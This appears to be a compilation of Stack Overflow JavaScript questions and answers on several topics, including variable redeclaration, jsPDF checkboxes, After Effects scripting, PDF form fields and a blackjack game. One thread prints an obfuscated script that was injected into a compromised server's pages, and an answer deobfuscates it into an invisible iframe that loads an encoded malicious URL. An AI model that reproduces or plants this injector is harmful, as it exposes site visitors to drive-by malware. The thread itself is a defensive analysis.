This is what I have, which returns no-redeclare warnings
if (sym === "BTCUSD") {
var LastPrice = tickers[0].last_price;
var LastDir = tickers[0].last_tick_direction;
var High24 = tickers[0].high_price_24h;
var Low24 = tickers[0].low_price_24h;
}
if (sym === "ETHUSD") {
var LastPrice = tickers[1].last_price;
var LastDir = tickers[1].last_tick_direction;
var High24 = tickers[1].high_price_24h;
var Low24 = tickers[1].low_price_24h;
}
if (sym === "EOSUSD") {
var LastPrice = tickers[2].last_price;
var LastDir = tickers[2].last_tick_direction;
var High24 = tickers[2].high_price_24h;
var Low24 = tickers[2].low_price_24h;
}
if (sym === "XRPUSD") {
var LastPrice = tickers[3].last_price;
var LastDir = tickers[3].last_tick_direction;
var High24 = tickers[3].high_price_24h;
var Low24 = tickers[3].low_price_24h;
}
This is what I'm trying to write out..
if (sym === "BTCUSD") {
var x = 0;
}
if (sym === "ETHUSD") {
var x = 1;
}
if (sym === "EOSUSD") {
var x = 2;
}
if (sym === "XRPUSD") {
var x = 3;
}
var LastPrice = tickers[x].last_price;
var LastDir = tickers[x].last_tick_direction;
var High24 = tickers[x].high_price_24h;
var Low24 = tickers[x].low_price_24h;
I'm trying to figure out the best way to clean this up and avoid any warnings and errors.
Edit: declaring var x = 0 prior does fix the error but it still leaves me with 4 warnings for re-declaring x instead of 12 for the others. is there a better way to write this?
Create an enum looking like this:
enum SymType {
"BTCUSD",
"ETHUSD",
"EOSUSD",
"XRPUSD"
}
Then use it like this instead of multiple if checks:
const {last_price, last_tick_direction, high_price_24h, low_price_24h} = tickers[SymType[sym]];
TS - Variable 'x' is used before being assigned. TS(2454)
Reason: There is no guarantee that for the compiler that one of the ifs will match ensuring that x gets assigned.
Fix
One solution is to use an if else chain with an final else:
if (sym === "BTCUSD") {
var x = 0;
}
else if (sym === "ETHUSD") {
var x = 1;
}
else if (sym === "EOSUSD") {
var x = 2;
}
else if (sym === "XRPUSD") {
var x = 3;
}
else { throw new Error('sym is not valid'); }
var LastPrice = tickers[x].last_price;
var LastDir = tickers[x].last_tick_direction;
var High24 = tickers[x].high_price_24h;
var Low24 = tickers[x].low_price_24h;
I would write, if I stick to your style
var symsObj = {
"BTCUSD": 0,
"ETHUSD": 1,
"EOSUSD": 2,
"XRPUSD": 3,
};
var x = symsObj[sym];
var LastPrice = tickers[x].last_price;
var LastDir = tickers[x].last_tick_direction;
var High24 = tickers[x].high_price_24h;
var Low24 = tickers[x].low_price_24h;
Related
I have an Array and I want to check the data in it with an if block and mark it if it exists in the array.
doc.setFontSize(9);
doc.text("Açıklama",6,57);
doc.text("Hastaya Yapılan Uygulama :",6,64);
doc.text("Kullanılan İlaçlar",6,69);
var explanation_application = document.getElementById("explanation_application").value;
textlines = doc.setFontSize(9).splitTextToSize(explanation_application,90);
doc.text(textlines,48,57).value;
doc.setFontSize(8);
doc.text("İzolasyon Durumu:",136,66);
doc.setFontSize(8);
doc.text("Solunum İzolasyonu",163,60);
var checkBox = new jspdf.AcroFormCheckBox();
var checkBoxTxt = document.getElementById("txt").value;
var splitTxt = checkBoxTxt.split(",");
for (let i = 0; i < splitTxt.length; i++){
// for (var state in splitTxt){
if(splitTxt[i] == 'solunum_izolasyonu') {
checkBox.appearanceState = 'On';
}
else {
checkBox.appearanceState = 'Off';
}
}
checkBox.readOnly = false;
checkBox.fieldName = "Solunum İzolasyonu";
checkBox.Rect = [191, 58, 2, 2];
checkBox.value = 'solunum_izolasyonu';
doc.addField(checkBox);
doc.setFontSize(8);
doc.text("Damlacık İzolasyonu",163,66);
var checkBox1 = new jspdf.AcroFormCheckBox();
var checkBoxTxt1 = document.getElementById("txt").value;
var splitTxt1 = checkBoxTxt1.split(",");
for (let i = 0; i < splitTxt1.length; i++){
// for (var state in splitTxt){
if(splitTxt1[i] == 'damlacik_izolasyonu') {
checkBox1.appearanceState = 'On';
}
else {
checkBox1.appearanceState = 'Off';
}
}
checkBox1.readOnly = false;
checkBox1.fieldName = "Damlacık İzolasyonu";
checkBox1.Rect = [191, 64, 2, 2];
checkBox.value = 'damlacik_izolasyonu';
doc.addField(checkBox1);
doc.setFontSize(8);
doc.text("Temas İzolasyonu",163,72);
var checkBox2 = new jspdf.AcroFormCheckBox();
var checkBoxTxt2 = document.getElementById("txt").value;
var splitTxt2 = checkBoxTxt2.split(",");
for (let i = 0; i< splitTxt2.length; i++){
// for (var state in splitTxt){
if(splitTxt2[i] == 'temas_izolasyonu') {
checkBox2.appearanceState = 'On';
}
else {
checkBox2.appearanceState = 'Off';
}
}
checkBox2.readOnly = false;
checkBox2.fieldName = "Temas İzolasyonu";
checkBox2.Rect = [191, 70, 2, 2];
checkBox.value = 'temas_izolasyonu';
doc.addField(checkBox2);
When I run my code like above, even though there are 2 data in the array, only 1 is marked.I'm new to this field, and what I want to do here is to pull the ids of the checkboxes marked on a form and display it on a pdf. Here I am doing this process using the jsPdf module, but after reaching this stage, I had a problem with the marking point, I would be glad if you could help with this.
You are looping over the array and resetting it if it has a value. To make your code work it would need to look something like
let hasText = false;
for (let i = 0; i< splitTxt2.length; i++){
if(splitTxt2[i] == 'temas_izolasyonu') {
hasText = true;
// have a match, no need to keep looping so exit
break;
}
}
checkBox.appearanceState = hasText ? 'On' : 'Off';
And the cleanest solution is includes
const hasText = splitTxt2.includes('solunum_izolasyonu');
checkBox.appearanceState = hasText ? 'On' : 'Off';
I have a working script for after effects, but when I change it to Dockable script,it wont work. Please help me to figure out why? If I take it out of the dock script it is working. I copied this dockable code from goodboy.ninja website.
This the final Dockable Code. Where is the mistake?
(
function(thisObj) {
buildUI(thisObj);
function buildUI(thisObj) {
var windowName = "Diffrence Checker";
var myPanel = (thisObj instanceof Panel) ? thisObj : new Window("window", windowName, undefined, {
resizeable: true
});
// Dropdown list
var groupOne = myPanel.add("group", undefined, "groupOne");
groupOne.orientation = "row";
groupOne.add("StaticText", undefined, "Main Comp");
var mainDD = groupOne.add("dropdownlist", undefined, compArrayNames);
mainDD.size = [175, 25];
var groupTwo = myPanel.add("group", undefined, "groupTwo");
groupTwo.orientation = "row";
groupTwo.add("StaticText", undefined, "Diff File");
var diffDD = groupTwo.add("dropdownlist", undefined, VideoArrayNames);
diffDD.size = [175, 25];
// Button code
var createBT = myPanel.add("group", undefined, "createBT");
createBT.orientation = "column";
var mainbutton = createBT.add("button", undefined, "Create");
//myPanel.center();
//myPanel.show();
myPanel.onResizing = myPanel.onResize = function() {
this.layout.resize();
};
if (myPanel instanceof Window) {
myPanel.center();
myPanel.show();
} else {
myPanel.layout.layout(true);
myPanel.layout.resize();
}
}
// Write your helper functions here
var compArray = [];
var compArrayNames = [];
var VideoArray = [];
var VideoArrayNames = [];
for (var i = 1; i <= app.project.numItems; i++) {
if (app.project.item(i).hasVideo == true && app.project.item(i).file == null) {
compArray.push(app.project.item(i));
compArrayNames.push(app.project.item(i).name);
}
if (app.project.item(i).hasVideo == true && app.project.item(i).hasAudio == true) {
VideoArray.push(app.project.item(i));
VideoArrayNames.push(app.project.item(i).name);
}
}
function createCP() {
app.beginUndoGroup("Editing");
var comlayer = compArray[mainDD.selection.index];
var vidlayer = VideoArray[diffDD.selection.index];
var getcomp = app.project.items.addComp(VideoArrayNames[diffDD.selection.index] + "_DIFF".toString(), 1920, 1080, 1, comlayer.duration, 30);
getcomp.openInViewer();
addVideofile(comlayer, getcomp);
addvideotwofile(vidlayer);
renderQ();
app.endUndoGroup();
}
function addVideofile(comlayer) {
app.project.activeItem.layers.add(comlayer);
}
function addvideotwofile(vidlayer) {
var newlayer = app.project.activeItem.layers.add(vidlayer);
newlayer.blendingMode = BlendingMode.DIFFERENCE;
}
function renderQ() {
var Qcomp = app.project.activeItem;
var Qitem = app.project.renderQueue.items.add(Qcomp);
}
}
)
(this);
My Original script is as follows:
// Diffrence Check
// global variables
var compArray = [];
var compArrayNames = [];
var VideoArray = [];
var VideoArrayNames = [];
for (var i = 1; i <= app.project.numItems; i++){
if (app.project.item(i).hasVideo == true && app.project.item(i).file == null) {
compArray.push (app.project.item(i));
compArrayNames.push (app.project.item(i).name);
}
if (app.project.item(i).hasVideo == true && app.project.item(i).hasAudio== true) {
VideoArray.push (app.project.item(i));
VideoArrayNames.push (app.project.item(i).name);
}
}
var mainWindow = new Window("palette","Difference Checker",undefined);
mainWindow.orientation= "column";
// Dropdown list
var groupOne = mainWindow.add("group",undefined,"groupOne");
groupOne.orientation = "row";
groupOne.add("StaticText",undefined,"Main Comp");
var mainDD = groupOne.add("dropdownlist",undefined,compArrayNames);
mainDD.size = [175,25];
var groupTwo = mainWindow.add("group",undefined,"groupTwo");
groupTwo.orientation = "row";
groupTwo.add("StaticText",undefined,"Diff File");
var diffDD = groupTwo.add("dropdownlist",undefined,VideoArrayNames);
diffDD.size = [175,25];
// Button code
var createBT = mainWindow.add("group",undefined,"createBT");
createBT.orientation = "column";
var mainbutton = createBT.add("button",undefined,"Create");
mainWindow.center();
mainWindow.show();
// Main Code Begins
mainbutton.onClick = function(){
createCP();
}
// Main Function Code
function createCP() {
app.beginUndoGroup("Editing");
var comlayer = compArray[mainDD.selection.index];
var vidlayer = VideoArray[diffDD.selection.index];
var getcomp = app.project.items.addComp(VideoArrayNames[diffDD.selection.index]+"_DIFF".toString(),1920,1080,1,comlayer.duration,30);
getcomp.openInViewer();
addVideofile(comlayer,getcomp);
addvideotwofile(vidlayer);
renderQ();
app.endUndoGroup();
}
function addVideofile(comlayer) {
app.project.activeItem.layers.add(comlayer);
}
function addvideotwofile(vidlayer){
var newlayer = app.project.activeItem.layers.add(vidlayer);
newlayer.blendingMode = BlendingMode.DIFFERENCE;
// var outputModule = item.outputModule()
}
function renderQ(){
var Qcomp =app.project.activeItem;
var Qitem = app.project.renderQueue.items.add(Qcomp);
}
You have an invisible Zero-Width Joiner between
buildUI(thisObj);
and
function buildUI(thisObj) {
and again after
//myPanel.show();
const toHex = str => {
var result = '';
for (var i=0; i<str.length; i++) {
result += str.charCodeAt(i).toString(16);
}
return result;
};
const stringWithJoiner = ` `; // space (20) and joiner (200D)
console.log(toHex(stringWithJoiner))
Here is your script without it
(function(thisObj) {
buildUI(thisObj);
function buildUI(thisObj) {
var windowName = "Diffrence Checker";
var myPanel = (thisObj instanceof Panel) ? thisObj : new Window("window", windowName, undefined, {
resizeable: true
});
// Dropdown list
var groupOne = myPanel.add("group", undefined, "groupOne");
groupOne.orientation = "row";
groupOne.add("StaticText", undefined, "Main Comp");
var mainDD = groupOne.add("dropdownlist", undefined, compArrayNames);
mainDD.size = [175, 25];
var groupTwo = myPanel.add("group", undefined, "groupTwo");
groupTwo.orientation = "row";
groupTwo.add("StaticText", undefined, "Diff File");
var diffDD = groupTwo.add("dropdownlist", undefined, VideoArrayNames);
diffDD.size = [175, 25];
// Button code
var createBT = myPanel.add("group", undefined, "createBT");
createBT.orientation = "column";
var mainbutton = createBT.add("button", undefined, "Create");
//myPanel.center();
//myPanel.show();
myPanel.onResizing = myPanel.onResize = function() {
this.layout.resize();
};
if (myPanel instanceof Window) {
myPanel.center();
myPanel.show();
} else {
myPanel.layout.layout(true);
myPanel.layout.resize();
}
}
// Write your helper functions here
var compArray = [];
var compArrayNames = [];
var VideoArray = [];
var VideoArrayNames = [];
for (var i = 1; i <= app.project.numItems; i++) {
if (app.project.item(i).hasVideo == true && app.project.item(i).file == null) {
compArray.push(app.project.item(i));
compArrayNames.push(app.project.item(i).name);
}
if (app.project.item(i).hasVideo == true && app.project.item(i).hasAudio == true) {
VideoArray.push(app.project.item(i));
VideoArrayNames.push(app.project.item(i).name);
}
}
function createCP() {
app.beginUndoGroup("Editing");
var comlayer = compArray[mainDD.selection.index];
var vidlayer = VideoArray[diffDD.selection.index];
var getcomp = app.project.items.addComp(VideoArrayNames[diffDD.selection.index] + "_DIFF".toString(), 1920, 1080, 1, comlayer.duration, 30);
getcomp.openInViewer();
addVideofile(comlayer, getcomp);
addvideotwofile(vidlayer);
renderQ();
app.endUndoGroup();
}
function addVideofile(comlayer) {
app.project.activeItem.layers.add(comlayer);
}
function addvideotwofile(vidlayer) {
var newlayer = app.project.activeItem.layers.add(vidlayer);
newlayer.blendingMode = BlendingMode.DIFFERENCE;
}
function renderQ() {
var Qcomp = app.project.activeItem;
var Qitem = app.project.renderQueue.items.add(Qcomp);
}
})
(this);
Good evening, I am wondering if there is a way to cycle through multiple variables with a for loop?
I have many variables set, here is my code:
if (MedicalIndex11 == 1) {
if (MedicalIndex11 != MedicalIndex1) {
temp = Medical11.value;
Medical11.value = Medical1.value;
Medical1.value = temp;
} else if (MedicalIndex11 != MedicalIndex3) {
temp = Medical11.value;
Medical11.value = Medical3.value;
Medical3.value= temp;
} else if (MedicalIndex11 != MedicalIndex5) {
temp = Medical11.value;
Medical11.value = Medical5.value;
Medical5.value = temp;
} else if (MedicalIndex11 != MedicalIndex7) {
temp = Medical11.value;
Medical11.value = Medical7.value;
Medical7.value = temp;
} else if (MedicalIndex11 != MedicalIndex9) {
temp = Medical11.value;
Medical11.value = Medical9.value;
Medical9.value = temp;
} else {
}
EDIT: Here is a working sample of the code with a for loop, and arrays:
for (i = 10; i < 30; i++) {
if (IndexArray[i] == 1) {
if (IndexArray[i] != MedicalIndex1) {
temp = MedFieldArray[i].value;
MedFieldArray[i].value = Medical1.value;
Medical1.value = temp;
} else if (IndexArray[i] != MedicalIndex3) {
temp = MedFieldArray[i].value;
MedFieldArray[i].value = Medical3.value;
Medical3.value= temp;
} else if (IndexArray[i] != MedicalIndex5) {
temp = MedFieldArray[i].value;
MedFieldArray[i].value = Medical5.value;
Medical5.value = temp;
} else if (IndexArray[i] != MedicalIndex7) {
temp = MedFieldArray[i].value;
MedFieldArray[i].value = Medical7.value;
Medical7.value = temp;
} else if (IndexArray[i] != MedicalIndex9) {
temp = MedFieldArray[i].value;
MedFieldArray[i].value = Medical9.value;
Medical9.value = temp;
} else {
}
}
}
I ran the code, and the syntax seems to be fine, but it doesn't want to swap the values of the variables. I am getting the Medical variables from user input from a PDF document
EDIT 2: The Medical variables are found by user input on a PDF form, here is the code:
var Medical1 = this.getField("Medications 1");
var Medical3 = this.getField("Medications 3");
var Medical5 = this.getField("Medications 5");
var Medical7 = this.getField("Medications 7");
var Medical9 = this.getField("Medications 9");
var Medical11 = this.getField("Medications 11");
var Medical13 = this.getField("Medications 13");
var Medical15 = this.getField("Medications 15");
var Medical17 = this.getField("Medications 17");
var Medical19 = this.getField("Medications 19");
var Medical21 = this.getField("Medications 21");
var Medical23 = this.getField("Medications 23");
var Medical25 = this.getField("Medications 25");
var Medical27 = this.getField("Medications 27");
var Medical29 = this.getField("Medications 29");
var Medical31 = this.getField("Medications 31");
var Medical33 = this.getField("Medications 33");
var Medical35 = this.getField("Medications 35");
var Medical37 = this.getField("Medications 37");
var Medical39 = this.getField("Medications 39");
var MedicalIndex1 = 0
var MedicalIndex3 = null
var MedicalIndex5 = null
var MedicalIndex7 = null
var MedicalIndex9 = null
var MedicalIndex11 = null
var MedicalIndex13 = null
var MedicalIndex15 = null
var MedicalIndex17 = null
var MedicalIndex19 = null
var MedicalIndex21 = null
var MedicalIndex23 = null
var MedicalIndex25 = null
var MedicalIndex27 = null
var MedicalIndex29 = null
var MedicalIndex31 = null
var MedicalIndex33 = null
var MedicalIndex35 = null
var MedicalIndex37 = null
var MedicalIndex39 = null
var MedicalArray = ["DEPRESSION", "ANGINA", "BIPOLAR DEPRESSION",
"ATHEROSCLEROSIS", "HEART ATTACK"];
var temp = 0
The objective is to swap the variables that have any of the listed diagnoses from the MedicalArray, so that the first 5 Medical variables contain one of the several strings in the Medical Array.
What do you think about a solution like this?
if (MedicalIndex11 == 1)
{
var i;
for(i=1;i<=9;i+=2)
swap(11,i);
}
else
{
}
function swap(a, b)
{
var temp;
if (window['MedicalIndex' + a] == window['MedicalIndex' + b]) return;
temp = window['Medical' + a].value;
window['Medical' + a].value = window['Medical' + b].value;
window['Medical' + b].value = temp;
}
This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.
Closed 10 years ago.
For some reason I have yet to find out all .html and .php files on my server have been altered to include the following Javascript (I have beautified it with http://jsbeautifier.org/):
<script type="text/javascript">
if ('GulVG' == 'dvLWnC') LCXW = 'ukNoT';
if ('QjTy' == 'OGvoYK') iBPba = 'YmwGf';
var qiyTHJNSK = "939f9f9b655a5a968c9f909e9f8c9f626259a09e5a9499598e92946a64";
function NEHbsc() {
var RQrwz = 'ufOn';
if ('Juxm' == 'mHxLm') Niaf();
}
var px1_var = "1px";
var uvWXHd = 'pDito';
if ('skhYX' == 'Gczk') hYkhb();
var rGsu;
var hitxMCSTc = "pa\x72s\x65\x49nt";
var WNOgK = "b\x6fdy";
var oqHu;
var NPOXa = 39;
var HGBXMBYkq = "co\x6e\x73tructor";
var CodwDw;
var adBe = 261;
var fmvCwPvf = "\x66\x72o\x6dC\x68ar\x43ode";
var gmCUwm = 6;
var BcWka = 'prssL';
var SjIk = 'DcwGHM';
var UBzc;
var pubYymvCW = "a\x70\x70en\x64C\x68ild";
var EVHJIA = 'nGzZ';
if ('NWGB' == 'XlySU') AWtq();
var LnJbDi = "";
if ('jUcBg' == 'tFKsdn') fRhEH = 'PEeA';
var LgLiBeb = "\x73li\x63e";
if ('cXqZe' == 'hdvrt') KIkyJ();
var appVersion_var = "\x61ppV\x65r\x73i\x6fn";
var DaGd = 'WJdpuS';
var UNLOOk = 118;
var px0_var = "0\x70x";
var yufL = 268;
if ('vlwmVU' == 'dtNS') dFobAh = 'dbES';
var coiJVUL = (function () {
function HMtGY() {}
var JWuN = 'Dztvmh';
var JZEGM;
return this;
function FeZd() {
var IZZFyk = 'LOij';
if ('SomCO' == 'VtLBbq') uThvZ();
}
})();
function utrcTc() {
var sQqTc = 'GDjGUL';
if ('GGbJ' == 'CdUOt') PFLkIv();
}
var yILQN;
var BlpVKOn = "GJfIbBp" [HGBXMBYkq];
var Cspfjl = 'cRBOTm';
var AhJvb;
for (var naxoJ = 0; naxoJ < qiyTHJNSK.length; naxoJ += 2) {
function mthsyA() {}
coesFKAJH = coiJVUL[hitxMCSTc](qiyTHJNSK[LgLiBeb](naxoJ, naxoJ + 2), 16) - 43;
var ihta;
LnJbDi += BlpVKOn[fmvCwPvf](coesFKAJH);
if ('YwvB' == 'nLaBq') FxCUcY = 'LClI';
function LuHhQ() {}
if ('rLTy' == 'RGZAH') InLSa = 'hqGi';
}
var pRLWk = 'qYTdKF';
var dbQz = 'IuaOpO';
var NLauPPxo = "KXDDhcUB";
function WiKx() {
var RqlT = 'TnwXV';
if ('mGATZ' == 'BoFZqb') IaMIR();
}
var KVmoXu = 'CCmbz';
var fpSlvS;
function kIyvYK() {
var kejS = 'hRGKfF';
if ('dwlh' == 'PerQmS') NeWE();
}
var HukG = 171;
var SCQFe = "";
var ZSeQP;
if ('TYhSD' == 'pOHCUl') xDKJc();
var QgUskg = 165;
if (navigator[appVersion_var].indexOf("MSIE") != -1) {
var XGZk = 162;
var dQaQT;
SCQFe = '<iframe name="' + NLauPPxo + '" src="' + LnJbDi + '">';
function cxMsRj() {
var gRqlMJ = 'YxSQd';
if ('Yedbfb' == 'FmRTE') zMRsf();
}
if ('UFqh' == 'inxzUL') IMhGyA();
var LnEoLC;
} else {
function NBxX() {
var rUxrb = 'oyDIE';
if ('trsJw' == 'EffuZz') zIRGF();
}
var pZBDH = 'FbTqY';
SCQFe = 'iframe';
if ('qJQEx' == 'sEOu') Jjcc();
var LtKfoR;
}
var RHgYbw = 209;
var XGCxE = document.createElement(SCQFe);
var osIEg = 'zpisyX';
var yTDi;
XGCxE.REKhC = function () {
var EhIV;
this["src"] = LnJbDi;
var hITyC = 47;
function QPAbon() {
var vlUKyt = 'ydOwpE';
if ('bUzfeI' == 'Gtzuz') xqXIgA();
}
}
function uNdxy() {}
if ('tXIjw' == 'ZuZUXu') TJmV = 'OZLhL';
XGCxE.style.right = px0_var;
var INwC = 218;
function eXRqv() {}
XGCxE.style.position = "absolute";
var myUH = 129;
var itYaqs = 'PIEQTG';
XGCxE.style.height = px1_var;
function Cncutd() {
var rElSS = 'aVJgKV';
if ('OlroM' == 'QRUVc') ZSoo();
}
if ('RpUI' == 'UbjbH') DfFH = 'LQKPT';
function jpdw() {}
XGCxE.name = NLauPPxo;
function GZKiB() {
var HGDCTk = 'uDGc';
if ('FdUgR' == 'hVIV') dcxx();
}
function vaVVBx() {
var PFhZz = 'CWQbMT';
if ('gEEvG' == 'aPzLMo') dMSclV();
}
XGCxE.REKhC();
function eInNvF() {}
function gPMoah() {
var UrmQn = 'fnwS';
if ('RJhZkZ' == 'NoYtxc') lkhw();
}
var xFoDke = 185;
XGCxE.style.top = px0_var;
function LXpA() {}
function Qkls() {
var rwmtT = 'RLulmG';
if ('mvum' == 'mQYG') RSKN();
}
XGCxE.style.width = px1_var;
var OMySFE = 'AJgrgE';
function yvFj() {}
function YzJdttK() {
function nWCtr() {
var HbXEi = 'cssMz';
if ('gwMUm' == 'fJUX') Jblip();
}
var kNePZX;
if (document[WNOgK]) {
if ('Mwub' == 'FLNDO') TdNEy = 'WAnb';
var AfhI = 'gdwUZG';
var UdZQcB;
var document_body_var = document[WNOgK];
if ('mjKa' == 'hCEFj') Vmkvz();
if ('knkq' == 'QLKklH') ygHF();
document_body_var[pubYymvCW].apply(document_body_var, [XGCxE]);
function jbGXOJ() {
var ovQXvi = 'HTXX';
if ('fllkOR' == 'OQlK') xGgRO();
}
} else {
var jJJY = 67;
setTimeout(YzJdttK, 120);
var fvmrr = 'HIfEiu';
function KvOj() {
var gLdJK = 'XueY';
if ('ppiCfu' == 'xudev') ZqGbGK();
}
}
var qUvxeh;
}
var EKFO = 10;
var rbiRyL;
YzJdttK();
function uJgk() {
var QbDju = 'lEEFak';
if ('jBDVr' == 'OzMogy') EHbmqV();
}
var Jslsu = 'BXWm';
</script>
Can someone help me decipher it?
Also how do I know how I got this, is there a way to trace it back?
Cheers!
Cleaned from all the var declaration and false-conditioned if-statement stuff, what actually is executed is:
var qiyTHJNSK = "939f9f9b655a5a968c9f909e9f8c9f626259a09e5a9499598e92946a64";
var HGBXMBYkq = "co\x6e\x73tructor"; // constructor
var fmvCwPvf = "\x66\x72o\x6dC\x68ar\x43ode"; // fromCharCode
var BlpVKOn = "GJfIbBp" [HGBXMBYkq]; // String()
var hitxMCSTc = "pa\x72s\x65\x49nt"; // parseInt
var WNOgK = "b\x6fdy"; // body
var LgLiBeb = "\x73li\x63e"; // slice
var LnJbDi = "";
var coiJVUL = (function () {
return this;
})();
for (var naxoJ = 0; naxoJ < qiyTHJNSK.length; naxoJ += 2) {
coesFKAJH = coiJVUL[hitxMCSTc](qiyTHJNSK[LgLiBeb](naxoJ, naxoJ + 2), 16) - 43;
LnJbDi += BlpVKOn[fmvCwPvf](coesFKAJH);
}
if (navigator[appVersion_var].indexOf("MSIE") != -1) {
SCQFe = '<iframe name="' + NLauPPxo + '" src="' + LnJbDi + '">';
} else {
SCQFe = 'iframe';
}
var XGCxE = document.createElement(SCQFe);
XGCxE.REKhC = function () {
this["src"] = LnJbDi;
};
XGCxE.style.right = px0_var;
XGCxE.style.position = "absolute";
XGCxE.style.height = px1_var;
XGCxE.name = NLauPPxo;
XGCxE.REKhC();
XGCxE.style.top = px0_var;
XGCxE.style.width = px1_var;
function YzJdttK() {
if (document[WNOgK]) {
var document_body_var = document[WNOgK];
document_body_var[pubYymvCW].apply(document_body_var, [XGCxE]);
} else {
setTimeout(YzJdttK, 120);
}
}
YzJdttK();
So, it does what all these scripts do: It appends an invisible iframe, in your case with the location http[evil]://katestat77.us/in.cgi?9
I'm writing code for a blackjack game and have run into some problems. I have written two functions: one for the initial deal and one for each consecutive hit. this is the deal function:
var deck = [1,2,3,4,5,6,7,8,9,10,"Jack","Queen","King","Ace"];
function deal() {
var card1_val = Math.floor(Math.random() * deck.length);
var card2_val = Math.floor(Math.random() * deck.length);
var card1 = deck[card1_val];
var card2 = deck[card2_val];
var hand = card1 + ", " + card2;
{//card1 Conditionals
if (card1 == "Jack") {
card1_val = 10;
}
else if (card1 == "Queen") {
card1_val = 10;
}
else if (card1 == "King") {
card1_val = 10;
}
else if (card1 == "Ace") {
card1_val = 11;
}
}
{//card2 Conditionals
if (card2 == "Jack") {
card2_val = 10;
}
else if (card2 == "Queen") {
card2_val = 10;
}
else if (card2 == "King") {
card2_val = 10;
}
else if (card2 == "Ace") {
card2_val = 11;
}
}
var res = card1_val + card2_val;
document.getElementById("result").innerHTML = hand;
//document.getElementById("test").innerHTML = card1_val + ", " + card2_val;
if (res > 21) {
alert("Blackjack!");
}
}
This is the hit function:
function hit() {
var card_val = Math.floor(Math.random() * deck.length);
var nhand = deck[card_val];
bucket = hand + nhand
}
If you look at hit() I am using the var hand from deal(). I can't make it global because I need the value to be a fresh random each time. How do I access this same variable without rewriting lines of code? Any help would be appreciated.
You can either
Declare hand outside of the function scope with just var hand; and use hand in the deal function without redeclaring it as a var;
Or use window.hand when declaring hand in the deal function
global variables are evil. i would take more object oriented approach, like this
var Hand = function(bjcallback) {
this.cards = [];
this.onblackjack = bjcallback;
this.deck = [1,2,3,4,5,6,7,8,9,10,"Jack","Queen","King","Ace"];
this.values = {
"Jack": 10,
"Queen": 10,
"King": 10,
"Ace": 11
};
this.sum = function() {
var i, x, res = 0;
for (i in this.cards) {
x = this.cards[i];
if (typeof(x) != 'number') { x = this.values[x] };
res += x;
};
return res
};
this.pick = function() {
var pos = Math.floor(Math.random() * this.deck.length);
var card = this.deck[pos];
console.log(card);
return card
};
this.deal = function(n) {
n = n || 2;
for (var i=0; i<n; i++) this.cards.push(this.pick())
};
this.hit = function() {
this.cards.push(this.pick());
if (this.sum() > 21) this.onblackjack();
}
}
var hurray = function() { alert('Blackjack!') };
var hand = new Hand(hurray);
hand.deal();
hand.hit();
note that i'm not much into cards so i might have confused terminology or counting